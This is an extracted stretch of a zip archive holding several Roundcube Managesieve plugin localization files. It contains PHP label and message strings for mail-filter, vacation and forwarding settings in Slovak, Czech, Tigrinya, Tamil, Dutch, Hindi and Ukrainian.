$labels['forwardtitle'] = 'Upraviť pravidlo preposielania správy';
$labels['message'] = 'Správa';
$labels['duplicate'] = 'je duplikátom';
$labels['notduplicate'] = 'nie je duplikátom';
$labels['duplicate.handle'] = 'postup:';
$labels['duplicate.header'] = 'záhlavie:';
$labels['duplicate.uniqueid'] = 'identifikátor:';
$labels['duplicate.seconds'] = 'časový limit (sek.):';
$labels['duplicate.last'] = 'relatívne voči poslednému spusteniu';
$messages['filterunknownerror'] = 'Neznáma chyba servera.';
$messages['filterconnerror'] = 'Nepodarilo sa pripojiť k serveru.';
$messages['filterdeleteerror'] = 'Nemožno vymazať filter. Nastala chyba servera.';
$messages['filterdeleted'] = 'Filter bol úspešne vymazaný.';
$messages['filtersaved'] = 'Filter bol úspešne uložený.';
$messages['filtersaveerror'] = 'Nemožno uložiť filter. Nastala chyba servera.';
$messages['filterformerror'] = 'Formulár pre filtrovanie obsahuje chyby.';
$messages['filterdeleteconfirm'] = 'Naozaj chcete vymazať vybraný filter?';
$messages['ruledeleteconfirm'] = 'Naozaj chcete vymazať vybrané pravidlo?';
$messages['actiondeleteconfirm'] = 'Naozaj chcete vymazať vybranú akciu?';
$messages['forbiddenchars'] = 'Pole obsahuje nepovolené znaky.';
$messages['cannotbeempty'] = 'Pole nemôže byť prázdne.';
$messages['ruleexist'] = 'Filter so zadaným názvom už existuje.';
$messages['setactivateerror'] = 'Nemožno aktivovať vybranú súpravu filtrov. Nastala chyba servera.';
$messages['setdeactivateerror'] = 'Nemožno deaktivovať vybranú súpravu filtrov. Nastala chyba servera.';
$messages['setdeleteerror'] = 'Nemožno vymazať vybranú súpravu filtrov. Nastala chyba servera.';
$messages['setactivated'] = 'Súprava filtrov bola úspešne aktivovaná.';
$messages['setdeactivated'] = 'Súprava filtrov bola úspešne deaktivovaná.';
$messages['setdeleted'] = 'Súprava filtrov bola úspešne vymazaná.';
$messages['setupdated'] = 'Súprava filtrov bola úspešne aktualizovaná.';
$messages['setdeleteconfirm'] = 'Naozaj chcete vymazať vybranú súpravu filtrov?';
$messages['setcreateerror'] = 'Nemožno vytvoriť súpravu filtrov. Nastala chyba servera.';
$messages['setcreated'] = 'Súprava filtrov bola úspešne vytvorená.';
$messages['activateerror'] = 'Nemožno aktivovať vybraný filter (vybrané filtre). Nastala chyba servera.';
$messages['deactivateerror'] = 'Nemožno vypnúť vybraný filter (vybrané filtre). Nastala chyba servera.';
$messages['deactivated'] = 'Filtre boli úspešne vypnuté.';
$messages['activated'] = 'Filtre boli úspešne zapnuté.';
$messages['moved'] = 'Filter bol úspešne presunutý.';
$messages['moveerror'] = 'Nemožno presunúť vybraný filter. Nastala chyba servera.';
$messages['nametoolong'] = 'Názov je príliš dlhý.';
$messages['namereserved'] = 'Rezervovaný názov.';
$messages['setexist'] = 'Súprava už existuje.';
$messages['nodata'] = 'Aspoň jedna pozícia musí byť zvolená!';
$messages['invaliddateformat'] = 'Neplatný formát dátumu alebo časti dátumu';
$messages['saveerror'] = 'Údaje nemožno uložiť. Nastala chyba servera.';
$messages['vacationsaved'] = 'Údaje pre čas mimo kancelárie boli úspešne uložené.';
$messages['forwardsaved'] = 'Údaje o preposlaní boli úspešne uložené.';
$messages['emptyvacationbody'] = 'Musíte zadať telo správy, zobrazovanej v čase neprítomnosti!';
$messages['duplicate.conflict.err'] = 'Hlavička a aj unikátny identifikátor nie sú povolené.';
$messages['disabledaction'] = 'Akcia nie je povolená.';
$messages['lastindexempty'] = 'Index sa vyžaduje pri počítaní od konca';
$messages['noflagset'] = 'Musí byť vybraný aspoň jeden príznak.';
PKh�\r��Q7Q7*plugins/managesieve/localization/cs_CZ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filtry';
$labels['managefilters'] = 'Nastavení filtrů';
$labels['filtername'] = 'Název filtru';
$labels['newfilter'] = 'Nový filtr';
$labels['filteradd'] = 'Přidej filtr';
$labels['filterdel'] = 'Smaž filtr';
$labels['rules'] = 'Pravidla';
$labels['actions'] = 'Akce';
$labels['scope'] = 'Rozsah';
$labels['moveup'] = 'Posunout nahoru';
$labels['movedown'] = 'Posunout dolů';
$labels['filterallof'] = 'Odpovídají všechna pravidla';
$labels['filteranyof'] = 'Odpovídá kterékoliv pravidlo';
$labels['filterany'] = 'Všechny zprávy';
$labels['filtercontains'] = 'obsahuje';
$labels['filternotcontains'] = 'neobsahuje';
$labels['filteris'] = 'odpovídá';
$labels['filterisnot'] = 'neodpovídá';
$labels['filterexists'] = 'existuje';
$labels['filternotexists'] = 'neexistuje';
$labels['filtermatches'] = 'odpovídá výrazu';
$labels['filternotmatches'] = 'neodpovídá výrazu';
$labels['filterregex'] = 'odpovídá regulárnímu výrazu';
$labels['filternotregex'] = 'neodpovídá regulárnímu výrazu';
$labels['filterunder'] = 'pod';
$labels['filterover'] = 'nad';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'Část MIME:';
$labels['mime-message'] = 'zpráva';
$labels['mime-anychild'] = 'jakákoli';
$labels['mime-type'] = 'typ';
$labels['mime-subtype'] = 'podtyp';
$labels['mime-contenttype'] = 'typ obsahu';
$labels['mime-param'] = 'parametr';
$labels['addrule'] = 'Přidej pravidlo';
$labels['delrule'] = 'Smaž pravidlo';
$labels['messagemoveto'] = 'Přesuň zprávu do';
$labels['messageredirect'] = 'Přeposlat zprávu na';
$labels['messagecopyto'] = 'Zkopírovat zprávu do';
$labels['messagesendcopy'] = 'Odeslat kopii zprávy na';
$labels['messagereply'] = 'Odpovědět se zprávou';
$labels['messagedelete'] = 'Smazat zprávu';
$labels['messagediscard'] = 'Zahodit a informovat odesilatele';
$labels['messagekeep'] = 'Ponechat zprávu v doručené poště';
$labels['messagesrules'] = 'Pravidla pro příchozí zprávu:';
$labels['messagesactions'] = '...vykonej následující akce:';
$labels['add'] = 'Přidej';
$labels['del'] = 'Smaž';
$labels['sender'] = 'Odesílatel';
$labels['recipient'] = 'Příjemce';
$labels['vacationaddr'] = 'Mé e-mailové adresy:';
$labels['vacationdays'] = 'Počet dnů mezi automatickými odpověďmi:';
$labels['vacationinterval'] = 'Prodleva mezi automatickými odpověďmi:';
$labels['vacationreason'] = 'Zpráva (Důvod nepřítomnosti):';
$labels['vacationfrom'] = 'Adresa odesilatele odpovědi:';
$labels['vacationsubject'] = 'Předmět zprávy:';
$labels['days'] = 'dnů';
$labels['seconds'] = 'sekund';
$labels['rulestop'] = 'Zastavit pravidla';
$labels['enable'] = 'Zapnout/Vypnout';
$labels['filterset'] = 'Sada filtrů';
$labels['filtersets'] = 'Sady filtrů';
$labels['filtersetadd'] = 'Přidat sadu filtrů';
$labels['filtersetdel'] = 'Smazat sadu filtrů';
$labels['filtersetact'] = 'Aktivovat tuto sadu filtrů';
$labels['filtersetdeact'] = 'Vypnout tuto sadu filtrů';
$labels['filterseteditraw'] = 'Upravit sadu pravidel';
$labels['filtersetswitch'] = 'Zapnout/Vypnout sadu filtrů';
$labels['filterdef'] = 'Definice filtru';
$labels['filtersetname'] = 'Název sady filtrů';
$labels['newfilterset'] = 'Nová sada filtrů';
$labels['active'] = 'aktivní';
$labels['none'] = 'nic';
$labels['fromset'] = 'ze sady';
$labels['fromfile'] = 'ze souboru';
$labels['filterdisabled'] = 'Filtr neaktivní';
$labels['filterenabled'] = 'Filtr aktivní';
$labels['countisgreaterthan'] = 'počet je větší než';
$labels['countisgreaterthanequal'] = 'počet je větší nebo roven';
$labels['countislessthan'] = 'počet je nižší než';
$labels['countislessthanequal'] = 'počet je nižší nebo roven';
$labels['countequals'] = 'počet je roven';
$labels['countnotequals'] = 'počet není roven';
$labels['valueisgreaterthan'] = 'hodnota je větší než';
$labels['valueisgreaterthanequal'] = 'hodnota je větší nebo stejná jako';
$labels['valueislessthan'] = 'hodnota je nižší než';
$labels['valueislessthanequal'] = 'hodnota je nižší nebo stejná jako';
$labels['valueequals'] = 'hodnota odpovídá';
$labels['valuenotequals'] = 'hodnota neodpovídá';
$labels['setflags'] = 'Nastavit příznaky u zprávy';
$labels['addflags'] = 'Přidat příznaky ke zprávě';
$labels['removeflags'] = 'Odstranit příznaky ze zprávy';
$labels['flagread'] = 'Přečteno';
$labels['flagdeleted'] = 'Smazáno';
$labels['flaganswered'] = 'Odpovězené';
$labels['flagflagged'] = 'Označeno';
$labels['flagdraft'] = 'Koncept';
$labels['addheader'] = 'Přidat hlavičku do zprávy';
$labels['deleteheader'] = 'Odebrat hlavičku ze zprávy';
$labels['headername'] = 'Název hlavičky';
$labels['headervalue'] = 'Hodnota hlavičky';
$labels['headerpos'] = 'Umístění hlavičky';
$labels['headeratstart'] = 'na začátku';
$labels['headeratend'] = 'na konci';
$labels['headeroccurrence'] = 'Výskyt/Umístění hlavičky';
$labels['headerfromstart'] = 'od začátku';
$labels['headerfromend'] = 'od konce';
$labels['headerpatterns'] = 'Vzory hodnot hlavičky';
$labels['headermatchtype'] = 'odpovídající typ:';
$labels['setvariable'] = 'Nastavit proměnnou';
$labels['setvarname'] = 'Název proměnné:';
$labels['setvarvalue'] = 'Hodnota proměnné:';
$labels['setvarmodifiers'] = 'Modifikátory:';
$labels['varlower'] = 'malá písmena';
$labels['varupper'] = 'velká písmena';
$labels['varlowerfirst'] = 'první písmeno malé';
$labels['varupperfirst'] = 'první písmeno velké';
$labels['varquotewildcard'] = 'uvodit speciální znaky uvozovkama';
$labels['varlength'] = 'délka';
$labels['notify'] = 'Odeslat oznámení';
$labels['notifytarget'] = 'Cíl oznámení:';
$labels['notifymessage'] = 'Zpráva oznámení (nepovinné):';
$labels['notifyoptions'] = 'Možnosti oznámení (nepovinné):';
$labels['notifyfrom'] = 'Odesílatel oznámení (nepovinné):';
$labels['notifyimportance'] = 'Důležitost:';
$labels['notifyimportancelow'] = 'nízká';
$labels['notifyimportancenormal'] = 'normální';
$labels['notifyimportancehigh'] = 'vysoká';
$labels['notifymethodmailto'] = 'E-mail';
$labels['notifymethodtel'] = 'Telefon';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Vytvořit filtr';
$labels['usedata'] = 'Použít následující údaje ve filtru:';
$labels['nextstep'] = 'Další krok';
$labels['...'] = '...';
$labels['string'] = 'Řetězec';
$labels['currdate'] = 'Aktuální datum';
$labels['datetest'] = 'Datum';
$labels['dateheader'] = 'hlavička:';
$labels['year'] = 'rok';
$labels['month'] = 'měsíc';
$labels['day'] = 'den';
$labels['date'] = 'datum (rrrr-mm-dd)';
$labels['julian'] = 'datum (juliánské)';
$labels['hour'] = 'hodina';
$labels['minute'] = 'minuta';
$labels['second'] = 'sekunda';
$labels['time'] = 'čas (hh:mm:ss)';
$labels['iso8601'] = 'datum (ISO8601)';
$labels['std11'] = 'datum (RFC2822)';
$labels['zone'] = 'časová zóna';
$labels['weekday'] = 'všední den (0-6)';
$labels['advancedopts'] = 'Pokročilá nastavení';
$labels['body'] = 'Tělo';
$labels['address'] = 'adresa';
$labels['envelope'] = 'obálka';
$labels['modifier'] = 'měnič:';
$labels['text'] = 'text';
$labels['undecoded'] = 'nedekódované (surové)';
$labels['contenttype'] = 'typ obsahu';
$labels['modtype'] = 'typ:';
$labels['allparts'] = 'vše';
$labels['domain'] = 'doména';
$labels['localpart'] = 'místní část';
$labels['user'] = 'uživatel';
$labels['detail'] = 'detail';
$labels['comparator'] = 'porovnávač:';
$labels['default'] = 'výchozí';
$labels['octet'] = 'striktní (oktet)';
$labels['asciicasemap'] = 'nerozlišuje velikost písmen (ascii-casemap)';
$labels['asciinumeric'] = 'číslené (ascii-numeric)';
$labels['index'] = 'index:';
$labels['indexlast'] = 'pozpátku';
$labels['spamtest'] = 'Úroveň nevyžádané pošty';
$labels['spamtestisgreaterthan'] = 'je větší než';
$labels['spamtestisgreaterthanequal'] = 'je větší nebo rovno';
$labels['spamtestislessthan'] = 'je menší než';
$labels['spamtestislessthanequal'] = 'je menší nebo rovno';
$labels['spamtestequals'] = 'odpovídá';
$labels['spamtestnotequals'] = 'neodpovídá';
$labels['spamtestisunknown'] = 'je neznámý';
$labels['vacation'] = 'Mimo-kancelář';
$labels['vacation.reply'] = 'Odpověd';
$labels['vacation.advanced'] = 'Pokročilá nastavení';
$labels['vacation.from'] = 'Adresa odesílatele odpovědi';
$labels['vacation.subject'] = 'Předmět';
$labels['vacation.body'] = 'Tělo';
$labels['vacation.start'] = 'Začátek';
$labels['vacation.end'] = 'Konec';
$labels['vacation.status'] = 'Stav';
$labels['vacation.on'] = 'Zapnuto';
$labels['vacation.off'] = 'Vypnuto';
$labels['vacation.addresses'] = 'Mé e-mailové adresy';
$labels['vacation.interval'] = 'Doba mezi odpověďmi';
$labels['vacation.after'] = 'Přidat pravidlo mimo-kancelář za';
$labels['vacation.saving'] = 'Ukládám data...';
$labels['vacation.action'] = 'Akce pro příchozí zprávu';
$labels['vacation.keep'] = 'Zachovat';
$labels['vacation.discard'] = 'Zahodit';
$labels['vacation.redirect'] = 'Přesměrovat na';
$labels['vacation.copy'] = 'Odeslat kopii zprávy na';
$labels['forward'] = 'Přeposílání';
$labels['forward.redirect'] = 'Přesměrovat na';
$labels['forward.copy'] = 'Odeslat kopii zprávy na';
$labels['forward.on'] = 'Zapnuto';
$labels['forward.off'] = 'Vypnuto';
$labels['forward.status'] = 'Stav:';
$labels['forward.action'] = 'Vykonej následující akci pro příchozí e-maily:';
$labels['forward.saving'] = 'Ukládám data...';
$labels['filladdresses'] = 'Vyplnit všemi mými adresami';
$labels['arialabelfiltersetactions'] = 'Nastavit akce filtru';
$labels['arialabelfilteractions'] = 'Akce filtru';
$labels['arialabelfilterform'] = 'Vlastnosti filtru';
$labels['ariasummaryfilterslist'] = 'Seznam filtrů';
$labels['ariasummaryfiltersetslist'] = 'Seznam sad filtrů';
$labels['filterstitle'] = 'Upravit filtry příchozích emailů';
$labels['vacationtitle'] = 'Upravit pravidlo mimo-kancelář';
$labels['forwardtitle'] = 'Upravit pravidlo pro přeposílání emailů';
$labels['message'] = 'Zpráva';
$labels['duplicate'] = 'je duplicitní';
$labels['notduplicate'] = 'není duplicitní';
$labels['duplicate.handle'] = 'popisovač:';
$labels['duplicate.header'] = 'hlavička:';
$labels['duplicate.uniqueid'] = 'Identifikátor:';
$labels['duplicate.seconds'] = 'prodleva (sekundy):';
$labels['duplicate.last'] = 'relativní k poslednímu vykonání';
$messages['filterunknownerror'] = 'Neznámá chyba serveru.';
$messages['filterconnerror'] = 'Nebylo možné se připojit k sieve serveru';
$messages['filterdeleteerror'] = 'Nebylo možné smazat filtr. Došlo k chybě serveru.';
$messages['filterdeleted'] = 'Filtr byl smazán.';
$messages['filtersaved'] = 'Filtr byl uložen.';
$messages['filtersaveerror'] = 'Nebylo možné uložit filtr. Došlo k chybě serveru.';
$messages['filterformerror'] = 'Formulář filtru obsahuje chyby.';
$messages['filterdeleteconfirm'] = 'Opravdu chcete smazat vybraný filtr?';
$messages['ruledeleteconfirm'] = 'Jste si jisti, že chcete smazat vybrané pravidlo?';
$messages['actiondeleteconfirm'] = 'Jste si jisti, že chcete smazat vybranou akci?';
$messages['forbiddenchars'] = 'Zakázané znaky v poli.';
$messages['cannotbeempty'] = 'Pole nemůže být prázdné.';
$messages['ruleexist'] = 'Filtr s uvedeným názvem již existuje.';
$messages['setactivateerror'] = 'Nelze zapnout vybranou sadu filtrů. Došlo k chybě serveru.';
$messages['setdeactivateerror'] = 'Nelze vypnout vybranou sadu filtrů. Došlo k chybě serveru.';
$messages['setdeleteerror'] = 'Nelze odstranit vybranou sadu filtrů. Došlo k chybě serveru.';
$messages['setactivated'] = 'Sada filtrů byla zapnuta.';
$messages['setdeactivated'] = 'Sada filtrů byla vypnuta.';
$messages['setdeleted'] = 'Sada filtrů byla odstraněna.';
$messages['setupdated'] = 'Sada filtrů byla upravena.';
$messages['setdeleteconfirm'] = 'Opravdu si přejete odebrat vybranou sadu filtrů?';
$messages['setcreateerror'] = 'Nelze vytvořit sadu filtrů. Došlo k chybě serveru.';
$messages['setcreated'] = 'Sada filtrů byla vytvořena.';
$messages['activateerror'] = 'Nelze zapnout vybrané filtry. Došlo k chybě serveru.';
$messages['deactivateerror'] = 'Nelze vypnout vybrané filtry. Došlo k chybě serveru.';
$messages['deactivated'] = 'Filtry vypnuty.';
$messages['activated'] = 'Filtry zapnuty.';
$messages['moved'] = 'Filtr byl přesunut.';
$messages['moveerror'] = 'Nelze přesunout vybraný filtr. Došlo k chybě serveru.';
$messages['nametoolong'] = 'Příliš dlouhý název.';
$messages['namereserved'] = 'Vyhrazený název.';
$messages['setexist'] = 'Sada již existuje.';
$messages['nodata'] = 'Musí být vybrána minimálně jedna pozice!';
$messages['invaliddateformat'] = 'Neplatné datum nebo část data';
$messages['saveerror'] = 'Nebylo možné uložit data. Došlo k chybě serveru.';
$messages['vacationsaved'] = 'Data mimo-kancelář byla uložena.';
$messages['forwardsaved'] = 'Data pro přeposlání byla uložena.';
$messages['emptyvacationbody'] = 'Tělo zprávy';
$messages['duplicate.conflict.err'] = 'Hlavička a jedinečný identifikátor zároveň nejsou povoleny.';
$messages['disabledaction'] = 'Akce není povolena';
$messages['lastindexempty'] = 'Při počítání od zadu je vyžadován index.';
$messages['noflagset'] = 'Alespoň jeden příznak musí být vybrán.';
PKh�\T)��'plugins/managesieve/localization/ti.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['del'] = 'ይጥፋእ';
$labels['sender'] = 'ልኣኺ(ት)';
$labels['flagread'] = 'ከንብብ';
$labels['datetest'] = 'ዕለት';
$labels['vacation.subject'] = 'ዋኒን';
$labels['vacation.keep'] = 'ይፅናሕ';
PKh�\��;*plugins/managesieve/localization/ta_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['messagedelete'] = 'செய்தியை நீக்கு';
$labels['del'] = 'நீக்கு';
$labels['flagdeleted'] = 'நீக்கியது';
$labels['flagflagged'] = 'நட்சத்திரமிட்டது';
$labels['notifymethodmailto'] = 'மின்னஞ்சல்';
$labels['datetest'] = 'தேதி';
$labels['advancedopts'] = 'மேம்பட்ட விருப்பங்கள்';
$labels['vacation.subject'] = 'தலைப்பு';
PKh�\43$ݎ�*plugins/managesieve/localization/nl_BE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filters';
$labels['managefilters'] = 'Beheer van inkomende e-mail filters';
$labels['filtername'] = 'Filter naam';
$labels['newfilter'] = 'Nieuw filter';
$labels['filteradd'] = 'Filter toevoegen';
$labels['filterdel'] = 'Filter verwijderen';
$labels['rules'] = 'Regels';
$labels['actions'] = 'Acties';
$labels['scope'] = 'Bereik';
$labels['moveup'] = 'Omhoog';
$labels['movedown'] = 'Omlaag';
$labels['filterallof'] = 'dat voldoet aan alle volgende regels';
$labels['filteranyof'] = 'voldoet aan eender welke van de volgende regels';
$labels['filterany'] = 'alle berichten';
$labels['filtercontains'] = 'bevat';
$labels['filternotcontains'] = 'bevat geen';
$labels['filteris'] = 'is gelijk aan';
$labels['filterisnot'] = 'is niet gelijk aan';
$labels['filterexists'] = 'bestaat';
$labels['filternotexists'] = 'bestaat niet';
$labels['filtermatches'] = 'komt overeen met de uitdrukking';
$labels['filternotmatches'] = 'komt niet overeen met de uitdrukking';
$labels['filterregex'] = 'komt overeen met de reguliere uitdrukking';
$labels['filternotregex'] = 'komt niet overeen met de reguliere uitdrukking';
$labels['filterunder'] = 'onder';
$labels['filterover'] = 'over';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'MIME deel:';
$labels['mime-message'] = 'bericht';
$labels['mime-anychild'] = 'elke';
$labels['mime-type'] = 'type';
$labels['mime-subtype'] = 'subtype';
$labels['mime-contenttype'] = 'inhoud-type';
$labels['mime-param'] = 'parameter';
$labels['addrule'] = 'Voeg regel toe';
$labels['delrule'] = 'Regel verwijderen';
$labels['messagemoveto'] = 'Bericht verplaatsen naar';
$labels['messageredirect'] = 'Bericht omleiden naar';
$labels['messagecopyto'] = 'Kopieer bericht naar';
$labels['messagesendcopy'] = 'Stuur een kopie van het bericht naar';
$labels['messagereply'] = 'Antwoord met bericht';
$labels['messagedelete'] = 'Dit bericht verwijderen';
$labels['messagediscard'] = 'Gooi weg met bericht';
$labels['messagekeep'] = 'Bericht in Postvak In bewaren';
$labels['messagesrules'] = 'Voor inkomende mail:';
$labels['messagesactions'] = '...voer de volgende acties uit:';
$labels['add'] = 'Toevoegen';
$labels['del'] = 'Verwijderen';
$labels['sender'] = 'Afzender';
$labels['recipient'] = 'Ontvanger';
$labels['vacationaddr'] = 'Mijn e-mail adressen:';
$labels['vacationdays'] = 'Hoe vaak berichten versturen (in dagen):';
$labels['vacationinterval'] = 'Hoe vaak berichten versturen:';
$labels['vacationreason'] = 'Inhoud van het bericht (reden voor vakantie):';
$labels['vacationfrom'] = 'Antwoord afzender adres:';
$labels['vacationsubject'] = 'Onderwerp van het bericht:';
$labels['days'] = 'dagen';
$labels['seconds'] = 'seconden';
$labels['rulestop'] = 'Stop met het evalueren van regels';
$labels['enable'] = 'Inschakelen/uitschakelen';
$labels['filterset'] = 'Filterset';
$labels['filtersets'] = 'Filtersets';
$labels['filtersetadd'] = 'Filterset toevoegen';
$labels['filtersetdel'] = 'Filterset verwijderen';
$labels['filtersetact'] = 'Huidige filterset activeren';
$labels['filtersetdeact'] = 'Huidige filterset uitschakelen';
$labels['filterseteditraw'] = 'Filterset bewerken';
$labels['filtersetswitch'] = 'Inschakelen/uitschakelen filterset';
$labels['filterdef'] = 'Filter definitie';
$labels['flagread'] = 'Lees';
$labels['flagdeleted'] = 'Verwijderd';
$labels['flagflagged'] = 'Geselecteerd';
$labels['notifymethodmailto'] = 'E-mailadres';
$labels['notifymethodtel'] = 'Telefoonnummer';
$labels['datetest'] = 'Datum';
$labels['advancedopts'] = 'Geavanceerde opties';
$labels['spamtestequals'] = 'is gelijk aan';
$labels['spamtestnotequals'] = '<div></div>';
$labels['vacation.subject'] = 'Onderwerp';
$labels['vacation.keep'] = 'Bewaar';
PKh�\�����*plugins/managesieve/localization/hi_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['messagedelete'] = 'रद्द करें';
$labels['del'] = 'मिटा';
$labels['notifymethodmailto'] = 'मेल';
$labels['datetest'] = 'तारीख';
$labels['vacation.subject'] = 'विशय';
PKh�\�xZ�1717*plugins/managesieve/localization/uk_UA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Фільтри';
$labels['managefilters'] = 'Керування фільтрами вхідної пошти';
$labels['filtername'] = 'Назва фільтру';
$labels['newfilter'] = 'Новий фільтр';
$labels['filteradd'] = 'Додати фільтр';
$labels['filterdel'] = 'Вилучити фільтр';
$labels['scope'] = 'Масштаб';
$labels['moveup'] = 'Пересунути вгору';
$labels['movedown'] = 'Пересунути вниз';
$labels['filterallof'] = 'задовольняє усі наступні умови';
$labels['filteranyof'] = 'задовольняє будь-яку з умов';
$labels['filterany'] = 'всі повідомлення';
$labels['filtercontains'] = 'містить';
$labels['filternotcontains'] = 'не містить';
$labels['filteris'] = 'ідентичний до';
$labels['filterisnot'] = 'не ідентичний до';
$labels['filterexists'] = 'існує';
$labels['filternotexists'] = 'не існує';
$labels['filtermatches'] = 'відповідає виразу';
$labels['filternotmatches'] = 'не відповідає виразу';
$labels['filterregex'] = 'відповідає регулярному виразу';
$labels['filternotregex'] = 'не відповідає регулярному виразу';
$labels['filterunder'] = 'менше, ніж';
$labels['filterover'] = 'більше, ніж';
$labels['addrule'] = 'Додати правило';
$labels['delrule'] = 'Видалити правило';
$labels['messagemoveto'] = 'Пересунути повідомлення до';
$labels['messageredirect'] = 'Перенаправити повідомлення до';
$labels['messagecopyto'] = 'Копіювати листа до';
$labels['messagesendcopy'] = 'Надсилати копію листа на';
$labels['messagereply'] = 'Автовідповідач';
$labels['messagedelete'] = 'Видалити повідомлення';
$labels['messagediscard'] = 'Відхилити з повідомленням';
$labels['messagekeep'] = 'Залишити лист у Вхідних';
$labels['messagesrules'] = 'Для вхідної пошти: ';
$labels['messagesactions'] = '... виконати такі дії: ';
$labels['add'] = 'Додати';
$labels['del'] = 'Видалити';
$labels['sender'] = 'Відправник';
$labels['recipient'] = 'Отримувач';
$labels['vacationaddr'] = 'Мої електронні адреси:';
$labels['vacationdays'] = 'Як часто повторювати (у днях):';
$labels['vacationinterval'] = 'Як часто надсилати повідомлення: ';
$labels['vacationreason'] = 'Текст повідомлення:';
$labels['vacationfrom'] = 'Адреса відправника відповіді:';
$labels['vacationsubject'] = 'Тема листа:';
$labels['days'] = 'дні(в)';
$labels['seconds'] = 'секунд';
$labels['rulestop'] = 'Зупинити перевірку правил';
$labels['enable'] = 'Увімкнути/Вимкнути';
$labels['filtersets'] = 'Набори фільтрів';
$labels['filterdef'] = 'Параметри фільтру';
$labels['active'] = 'активний';
$labels['none'] = 'нічого';
$labels['fromset'] = 'з набору';
$labels['fromfile'] = 'з файлу';
$labels['filterdisabled'] = 'Фільтр вимкнено';
$labels['countisgreaterthan'] = 'лічильник більший за';
$labels['countisgreaterthanequal'] = 'лічильник більший або рівний ';
$labels['countislessthan'] = 'лічильник менший';
$labels['countislessthanequal'] = 'льчильник менший або рівний';
$labels['countequals'] = 'лічильник рівний';
$labels['countnotequals'] = 'лічильник рівний';
$labels['valueisgreaterthan'] = 'значення більше за';
$labels['valueisgreaterthanequal'] = 'значення більше або рівне';
$labels['valueislessthan'] = 'значення менше за';
$labels['valueislessthanequal'] = 'значення менше або рівне';
$labels['valueequals'] = 'значення рівне';
$labels['valuenotequals'] = 'значення не рівне';
$labels['setflags'] = 'Позначити повідомлення прапорцями';
$labels['addflags'] = 'Додати прапорці до повідомлення ';
$labels['removeflags'] = 'Вилучити прапорці з повідомлення ';
$labels['flagread'] = 'Прочитано';
$labels['flagdeleted'] = 'Вилучено';
$labels['flaganswered'] = 'З відповіддю';
$labels['flagflagged'] = 'Позначено';
$labels['flagdraft'] = 'Чернетка';
$labels['setvariable'] = 'Встановити змінну';
$labels['setvarname'] = 'Назва змінної:';
$labels['setvarvalue'] = 'Значення змінної:';
$labels['setvarmodifiers'] = 'Модифікатори:';
$labels['varlower'] = 'нижній регістр';
$labels['varupper'] = 'верхній регістр';
$labels['varlowerfirst'] = 'перший символ у нижньому регістрі';
$labels['varupperfirst'] = 'перший символ у верхньому регістрі';
$labels['varquotewildcard'] = 'цитувати спеціальні символи';
$labels['varlength'] = 'довжина';
$labels['notify'] = 'Надсилати сповіщення';
$labels['notifytarget'] = 'Ціль сповіщення: ';
$labels['notifymessage'] = 'Повідомлення сповіщення (необов\'язково): ';
$labels['notifyoptions'] = 'Опції сповіщення (необов\'язково): ';
$labels['notifyfrom'] = 'Відправник сповіщення (необов\'язково): ';
$labels['notifyimportance'] = 'Важливість: ';
$labels['notifyimportancelow'] = 'низька';
$labels['notifyimportancenormal'] = 'звичайна';
$labels['notifyimportancehigh'] = 'висока';
$labels['notifymethodmailto'] = 'Електронна адреса';
$labels['notifymethodtel'] = 'Телефон';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Створити фільтр';
$labels['usedata'] = 'Використати у фільтрі такі дані: ';
$labels['nextstep'] = 'Наступний крок';
$labels['...'] = '...';
$labels['string'] = 'Рядок';
$labels['currdate'] = 'Поточна дата';
$labels['datetest'] = 'Дата';
$labels['dateheader'] = 'шапка:';
$labels['year'] = 'рік';
$labels['month'] = 'місяць';
$labels['day'] = 'день';
